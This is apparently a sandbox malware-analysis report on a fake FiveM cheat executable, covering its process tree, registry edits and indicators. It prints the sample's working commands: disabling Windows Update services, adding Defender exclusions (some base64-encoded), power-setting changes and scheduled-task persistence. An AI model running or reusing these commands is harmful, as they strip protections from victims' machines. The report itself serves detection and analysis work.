Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	updater.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\Local Settings	fv_fontreviewmonitordllrefsvc.exe

Modifies registry key 1 TTPs 64 IoCs

Modify Registry

T1112

pid	Process
5676	reg.exe
2468	reg.exe
6544	reg.exe
2588	reg.exe
5060	reg.exe
6472	reg.exe
4628	reg.exe
6200	reg.exe
3004	reg.exe
2832	reg.exe
4760	reg.exe
1872	reg.exe
5308	reg.exe
6588	reg.exe
3388	reg.exe
4832	reg.exe
5164	reg.exe
5340	reg.exe
3064	reg.exe
4560	reg.exe
3116	reg.exe
4608	reg.exe
2556	reg.exe
4644	reg.exe
5768	reg.exe
5676	reg.exe
1676	reg.exe
2820	reg.exe
4424	reg.exe
3704	reg.exe
1740	reg.exe
1088	reg.exe
6180	reg.exe
2764	reg.exe
4152	reg.exe
6444	reg.exe
1152	reg.exe
1256	reg.exe
4892	reg.exe
5500	reg.exe
2468	reg.exe
1516	reg.exe
6904	reg.exe
7144	reg.exe
6924	reg.exe
5480	reg.exe
4132	reg.exe
992	reg.exe
7140	reg.exe
6316	reg.exe
6660	reg.exe
3716	reg.exe
6428	reg.exe
3948	reg.exe
2328	reg.exe
2028	reg.exe
6412	reg.exe
2604	reg.exe
5788	reg.exe
3016	reg.exe
880	reg.exe
2772	reg.exe
2328	reg.exe
3416	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 18 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5352	schtasks.exe
6404	schtasks.exe
6276	schtasks.exe
3472	schtasks.exe
996	schtasks.exe
1516	schtasks.exe
5040	schtasks.exe
4784	schtasks.exe
616	schtasks.exe
4556	schtasks.exe
6252	schtasks.exe
1804	schtasks.exe
3292	schtasks.exe
2596	schtasks.exe
2484	schtasks.exe
7144	schtasks.exe
256	schtasks.exe
4536	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3688	powershell.exe
3688	powershell.exe
6292	fv_fontreviewmonitordllrefsvc.exe
6292	fv_fontreviewmonitordllrefsvc.exe
6292	fv_fontreviewmonitordllrefsvc.exe
3688	powershell.exe
6292	fv_fontreviewmonitordllrefsvc.exe
6292	fv_fontreviewmonitordllrefsvc.exe
6292	fv_fontreviewmonitordllrefsvc.exe
6292	fv_fontreviewmonitordllrefsvc.exe
6292	fv_fontreviewmonitordllrefsvc.exe
6292	fv_fontreviewmonitordllrefsvc.exe
6292	fv_fontreviewmonitordllrefsvc.exe
6292	fv_fontreviewmonitordllrefsvc.exe
6292	fv_fontreviewmonitordllrefsvc.exe
6292	fv_fontreviewmonitordllrefsvc.exe
6292	fv_fontreviewmonitordllrefsvc.exe
6292	fv_fontreviewmonitordllrefsvc.exe
6292	fv_fontreviewmonitordllrefsvc.exe
6292	fv_fontreviewmonitordllrefsvc.exe
6292	fv_fontreviewmonitordllrefsvc.exe
4408	powershell.exe
4408	powershell.exe
3412	powershell.exe
3412	powershell.exe
6520	powershell.exe
6520	powershell.exe
1276	powershell.exe
1276	powershell.exe
2456	powershell.exe
2456	powershell.exe
2772	powershell.exe
2772	powershell.exe
428	powershell.exe
428	powershell.exe
6292	fv_fontreviewmonitordllrefsvc.exe
6292	fv_fontreviewmonitordllrefsvc.exe
6292	fv_fontreviewmonitordllrefsvc.exe
6292	fv_fontreviewmonitordllrefsvc.exe
6292	fv_fontreviewmonitordllrefsvc.exe
1276	powershell.exe
3412	powershell.exe
2772	powershell.exe
6520	powershell.exe
2456	powershell.exe
4408	powershell.exe
428	powershell.exe
6332	powershell.exe
6332	powershell.exe
6332	powershell.exe
3496	conhost_fv.exe
3496	conhost_fv.exe
5032	powershell.exe
5032	powershell.exe
5032	powershell.exe
3896	powershell.exe
3896	powershell.exe
3896	powershell.exe
3524	powershell.exe
3524	powershell.exe
6540	powershell.exe
6540	powershell.exe
5504	powershell.exe
5504	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	6292	fv_fontreviewmonitordllrefsvc.exe
Token: SeDebugPrivilege	3688	powershell.exe
Token: SeDebugPrivilege	6388	sihost.exe
Token: SeDebugPrivilege	400	karma_fivem.exe
Token: SeDebugPrivilege	4408	powershell.exe
Token: SeDebugPrivilege	3412	powershell.exe
Token: SeDebugPrivilege	6520	powershell.exe
Token: SeDebugPrivilege	1276	powershell.exe
Token: SeDebugPrivilege	2456	powershell.exe
Token: SeDebugPrivilege	2772	powershell.exe
Token: SeDebugPrivilege	428	powershell.exe
Token: SeDebugPrivilege	3876	sihost.exe
Token: SeDebugPrivilege	1224	Idle.exe
Token: SeDebugPrivilege	2116	ctfmon.exe
Token: SeIncreaseQuotaPrivilege	3688	powershell.exe
Token: SeSecurityPrivilege	3688	powershell.exe
Token: SeTakeOwnershipPrivilege	3688	powershell.exe
Token: SeLoadDriverPrivilege	3688	powershell.exe
Token: SeSystemProfilePrivilege	3688	powershell.exe
Token: SeSystemtimePrivilege	3688	powershell.exe
Token: SeProfSingleProcessPrivilege	3688	powershell.exe
Token: SeIncBasePriorityPrivilege	3688	powershell.exe
Token: SeCreatePagefilePrivilege	3688	powershell.exe
Token: SeBackupPrivilege	3688	powershell.exe
Token: SeRestorePrivilege	3688	powershell.exe
Token: SeShutdownPrivilege	3688	powershell.exe
Token: SeDebugPrivilege	3688	powershell.exe
Token: SeSystemEnvironmentPrivilege	3688	powershell.exe
Token: SeRemoteShutdownPrivilege	3688	powershell.exe
Token: SeUndockPrivilege	3688	powershell.exe
Token: SeManageVolumePrivilege	3688	powershell.exe
Token: 33	3688	powershell.exe
Token: 34	3688	powershell.exe
Token: 35	3688	powershell.exe
Token: 36	3688	powershell.exe
Token: SeDebugPrivilege	5116	RuntimeBroker.exe
Token: SeIncreaseQuotaPrivilege	1276	powershell.exe
Token: SeSecurityPrivilege	1276	powershell.exe
Token: SeTakeOwnershipPrivilege	1276	powershell.exe
Token: SeLoadDriverPrivilege	1276	powershell.exe
Token: SeSystemProfilePrivilege	1276	powershell.exe
Token: SeSystemtimePrivilege	1276	powershell.exe
Token: SeProfSingleProcessPrivilege	1276	powershell.exe
Token: SeIncBasePriorityPrivilege	1276	powershell.exe
Token: SeCreatePagefilePrivilege	1276	powershell.exe
Token: SeBackupPrivilege	1276	powershell.exe
Token: SeRestorePrivilege	1276	powershell.exe
Token: SeShutdownPrivilege	1276	powershell.exe
Token: SeDebugPrivilege	1276	powershell.exe
Token: SeSystemEnvironmentPrivilege	1276	powershell.exe
Token: SeRemoteShutdownPrivilege	1276	powershell.exe
Token: SeUndockPrivilege	1276	powershell.exe
Token: SeManageVolumePrivilege	1276	powershell.exe
Token: 33	1276	powershell.exe
Token: 34	1276	powershell.exe
Token: 35	1276	powershell.exe
Token: 36	1276	powershell.exe
Token: SeIncreaseQuotaPrivilege	2772	powershell.exe
Token: SeSecurityPrivilege	2772	powershell.exe
Token: SeTakeOwnershipPrivilege	2772	powershell.exe
Token: SeLoadDriverPrivilege	2772	powershell.exe
Token: SeSystemProfilePrivilege	2772	powershell.exe
Token: SeSystemtimePrivilege	2772	powershell.exe
Token: SeProfSingleProcessPrivilege	2772	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
6160	FiveM_External.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 6160 wrote to memory of 3496	6160	FiveM_External.exe	90
PID 6160 wrote to memory of 6292	6160	FiveM_External.exe	91
PID 3496 wrote to memory of 3688	3496	conhost_fv.exe	92
PID 6160 wrote to memory of 6188	6160	FiveM_External.exe	94
PID 6292 wrote to memory of 2456	6292	fv_fontreviewmonitordllrefsvc.exe	122
PID 6292 wrote to memory of 2772	6292	fv_fontreviewmonitordllrefsvc.exe	123
PID 6292 wrote to memory of 3412	6292	fv_fontreviewmonitordllrefsvc.exe	124
PID 6292 wrote to memory of 1276	6292	fv_fontreviewmonitordllrefsvc.exe	125
PID 6292 wrote to memory of 4408	6292	fv_fontreviewmonitordllrefsvc.exe	126
PID 6292 wrote to memory of 6520	6292	fv_fontreviewmonitordllrefsvc.exe	127
PID 6292 wrote to memory of 428	6292	fv_fontreviewmonitordllrefsvc.exe	128
PID 6292 wrote to memory of 5872	6292	fv_fontreviewmonitordllrefsvc.exe	141
PID 5872 wrote to memory of 5592	5872	cmd.exe	144
PID 5872 wrote to memory of 4368	5872	cmd.exe	145
PID 3496 wrote to memory of 1356	3496	conhost_fv.exe	146
PID 3496 wrote to memory of 3024	3496	conhost_fv.exe	148
PID 1356 wrote to memory of 4124	1356	cmd.exe	150
PID 3496 wrote to memory of 6332	3496	conhost_fv.exe	151
PID 1356 wrote to memory of 4536	1356	cmd.exe	153
PID 1356 wrote to memory of 3472	1356	cmd.exe	154
PID 3024 wrote to memory of 4572	3024	cmd.exe	155
PID 1356 wrote to memory of 2596	1356	cmd.exe	156
PID 1356 wrote to memory of 2788	1356	cmd.exe	157
PID 3024 wrote to memory of 1440	3024	cmd.exe	158
PID 1356 wrote to memory of 5676	1356	cmd.exe	159
PID 3024 wrote to memory of 5264	3024	cmd.exe	160
PID 1356 wrote to memory of 1256	1356	cmd.exe	161
PID 3024 wrote to memory of 6364	3024	cmd.exe	162
PID 1356 wrote to memory of 1804	1356	cmd.exe	163
PID 1356 wrote to memory of 6444	1356	cmd.exe	164
PID 1356 wrote to memory of 3016	1356	cmd.exe	165
PID 1356 wrote to memory of 952	1356	cmd.exe	166
PID 1356 wrote to memory of 4304	1356	cmd.exe	167
PID 1356 wrote to memory of 3116	1356	cmd.exe	169
PID 1356 wrote to memory of 404	1356	cmd.exe	170
PID 1356 wrote to memory of 2224	1356	cmd.exe	171
PID 1356 wrote to memory of 2592	1356	cmd.exe	172
PID 1356 wrote to memory of 4720	1356	cmd.exe	173
PID 1356 wrote to memory of 1820	1356	cmd.exe	174
PID 1356 wrote to memory of 1940	1356	cmd.exe	175
PID 1356 wrote to memory of 772	1356	cmd.exe	176
PID 3496 wrote to memory of 4140	3496	conhost_fv.exe	177
PID 1356 wrote to memory of 6764	1356	cmd.exe	179
PID 1356 wrote to memory of 1176	1356	cmd.exe	180
PID 4140 wrote to memory of 3244	4140	cmd.exe	181
PID 1356 wrote to memory of 6980	1356	cmd.exe	182
PID 4300 wrote to memory of 5032	4300	updater.exe	184
PID 4300 wrote to memory of 5532	4300	updater.exe	186
PID 4300 wrote to memory of 7124	4300	updater.exe	188
PID 4300 wrote to memory of 3896	4300	updater.exe	190
PID 5532 wrote to memory of 6024	5532	cmd.exe	192
PID 7124 wrote to memory of 1004	7124	cmd.exe	193
PID 7124 wrote to memory of 5564	7124	cmd.exe	194
PID 5532 wrote to memory of 6328	5532	cmd.exe	195
PID 7124 wrote to memory of 7104	7124	cmd.exe	196
PID 5532 wrote to memory of 2580	5532	cmd.exe	197
PID 7124 wrote to memory of 2044	7124	cmd.exe	198
PID 5532 wrote to memory of 6668	5532	cmd.exe	199
PID 5532 wrote to memory of 4296	5532	cmd.exe	200
PID 5532 wrote to memory of 5964	5532	cmd.exe	201
PID 5532 wrote to memory of 7128	5532	cmd.exe	202
PID 5532 wrote to memory of 4432	5532	cmd.exe	203
PID 5532 wrote to memory of 1740	5532	cmd.exe	204
PID 5532 wrote to memory of 6588	5532	cmd.exe	205

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\FiveM_External.exe
"C:\Users\Admin\AppData\Local\Temp\FiveM_External.exe"
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:6160
- C:\Users\Admin\AppData\Roaming\conhost_fv.exe
  "C:\Users\Admin\AppData\Roaming\conhost_fv.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3496
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAdQBuACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAbwBqACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgADwAIwBpAHQAagAjAD4AIABAACgAIAA8ACMAdAB3ACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBxAGYAYgBjACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAGkAbAB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGoAagB1ACMAPgA="
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3688
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1356
  - - C:\Windows\System32\sc.exe
      sc stop UsoSvc
      4⤵
      Launches sc.exe
      PID:4124
  - - C:\Windows\System32\sc.exe
      sc stop WaaSMedicSvc
      4⤵
      Launches sc.exe
      PID:4536
  - - C:\Windows\System32\sc.exe
      sc stop wuauserv
      4⤵
      Launches sc.exe
      PID:3472
  - - C:\Windows\System32\sc.exe
      sc stop bits
      4⤵
      Launches sc.exe
      PID:2596
  - - C:\Windows\System32\sc.exe
      sc stop dosvc
      4⤵
      Launches sc.exe
      PID:2788
  - - C:\Windows\System32\reg.exe
      reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
      4⤵
      Modifies registry key
      PID:5676
  - - C:\Windows\System32\reg.exe
      reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
      4⤵
      Modifies registry key
      PID:1256
  - - C:\Windows\System32\reg.exe
      reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
      4⤵
      Modifies security service
      PID:1804
  - - C:\Windows\System32\reg.exe
      reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
      4⤵
      Modifies registry key
      PID:6444
  - - C:\Windows\System32\reg.exe
      reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
      4⤵
      Modifies registry key
      PID:3016
  - - C:\Windows\System32\takeown.exe
      takeown /f C:\Windows\System32\WaaSMedicSvc.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:952
  - - C:\Windows\System32\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4304
  - - C:\Windows\System32\reg.exe
      reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
      4⤵
      Modifies registry key
      PID:3116
  - - C:\Windows\System32\reg.exe
      reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
      4⤵
      PID:404
  - - C:\Windows\System32\reg.exe
      reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
      4⤵
      PID:2224
  - - C:\Windows\System32\reg.exe
      reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
      4⤵
      PID:2592
  - - C:\Windows\System32\schtasks.exe
      SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
      4⤵
      PID:4720
  - - C:\Windows\System32\schtasks.exe
      SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
      4⤵
      PID:1820
  - - C:\Windows\System32\schtasks.exe
      SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
      4⤵
      PID:1940
  - - C:\Windows\System32\schtasks.exe
      SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
      4⤵
      PID:772
  - - C:\Windows\System32\schtasks.exe
      SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
      4⤵
      PID:6764
  - - C:\Windows\System32\schtasks.exe
      SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
      4⤵
      PID:1176
  - - C:\Windows\System32\schtasks.exe
      SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
      4⤵
      PID:6980
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of WriteProcessMemory
    PID:3024
  - - C:\Windows\System32\powercfg.exe
      powercfg /x -hibernate-timeout-ac 0
      4⤵
      Power Settings
      PID:4572
  - - C:\Windows\System32\powercfg.exe
      powercfg /x -hibernate-timeout-dc 0
      4⤵
      Power Settings
      PID:1440
  - - C:\Windows\System32\powercfg.exe
      powercfg /x -standby-timeout-ac 0
      4⤵
      Power Settings
      PID:5264
  - - C:\Windows\System32\powercfg.exe
      powercfg /x -standby-timeout-dc 0
      4⤵
      Power Settings
      PID:6364
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAeQBlAGwAIwA+ACAAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAIgBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAHUAcABkAGEAdABlAHIALgBlAHgAZQAiACcAKQAgADwAIwBqAHcAdgAjAD4AIAAtAFQAcgBpAGcAZwBlAHIAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQAUwB0AGEAcgB0AHUAcAApACAAPAAjAHYAcQAjAD4AIAAtAFMAZQB0AHQAaQBuAGcAcwAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAgAC0AQQBsAGwAbwB3AFMAdABhAHIAdABJAGYATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAGkAcwBhAGwAbABvAHcASABhAHIAZABUAGUAcgBtAGkAbgBhAHQAZQAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAG8AbgB0AFMAdABvAHAATwBuAEkAZABsAGUARQBuAGQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ARABhAHkAcwAgADEAMAAwADAAKQApACAAPAAjAGwAdgAjAD4AIAAtAFQAYQBzAGsATgBhAG0AZQAgACcARwBvAG8AZwBsAGUAVQBwAGQAYQB0AGUAVABhAHMAawBNAGEAYwBoAGkAbgBlAFEAQwAnACAALQBVAHMAZQByACAAJwBTAHkAcwB0AGUAbQAnACAALQBSAHUAbgBMAGUAdgBlAGwAIAAnAEgAaQBnAGgAZQBzAHQAJwAgAC0ARgBvAHIAYwBlACAAPAAjAHgAYQB2ACMAPgA7AA=="
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:6332
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /run /tn "GoogleUpdateTaskMachineQC"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4140
  - - C:\Windows\System32\schtasks.exe
      schtasks /run /tn "GoogleUpdateTaskMachineQC"
      4⤵
      PID:3244
- C:\Users\Admin\AppData\Roaming\fv_fontreviewmonitordllrefsvc.exe
  "C:\Users\Admin\AppData\Roaming\fv_fontreviewmonitordllrefsvc.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  - Drops file in Windows directory
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:6292
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\fv_fontreviewmonitordllrefsvc.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2456
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Reference Assemblies\Microsoft\Framework\sihost.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2772
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Reference Assemblies\Microsoft\Framework\karma_fivem.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3412
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows.old\ctfmon.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1276
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\ModemLogs\sihost.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4408
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Windows NT\TableTextService\en-US\RuntimeBroker.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:6520
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows.old\Idle.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:428
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\r4lPNURAWl.bat"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5872
  - - C:\Windows\system32\w32tm.exe
      w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
      4⤵
      PID:5592
  - - C:\Windows\ModemLogs\sihost.exe
      "C:\Windows\ModemLogs\sihost.exe"
      4⤵
      Executes dropped EXE
      PID:4368
- C:\Users\Admin\AppData\Local\Temp\karma_fivem.exe
  "C:\Users\Admin\AppData\Local\Temp\karma_fivem.exe"
  2⤵
  - Executes dropped EXE
  PID:6188

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 6 /tr "'C:\Program Files\Reference Assemblies\Microsoft\Framework\sihost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6252

C:\Windows\system32\schtasks.exe
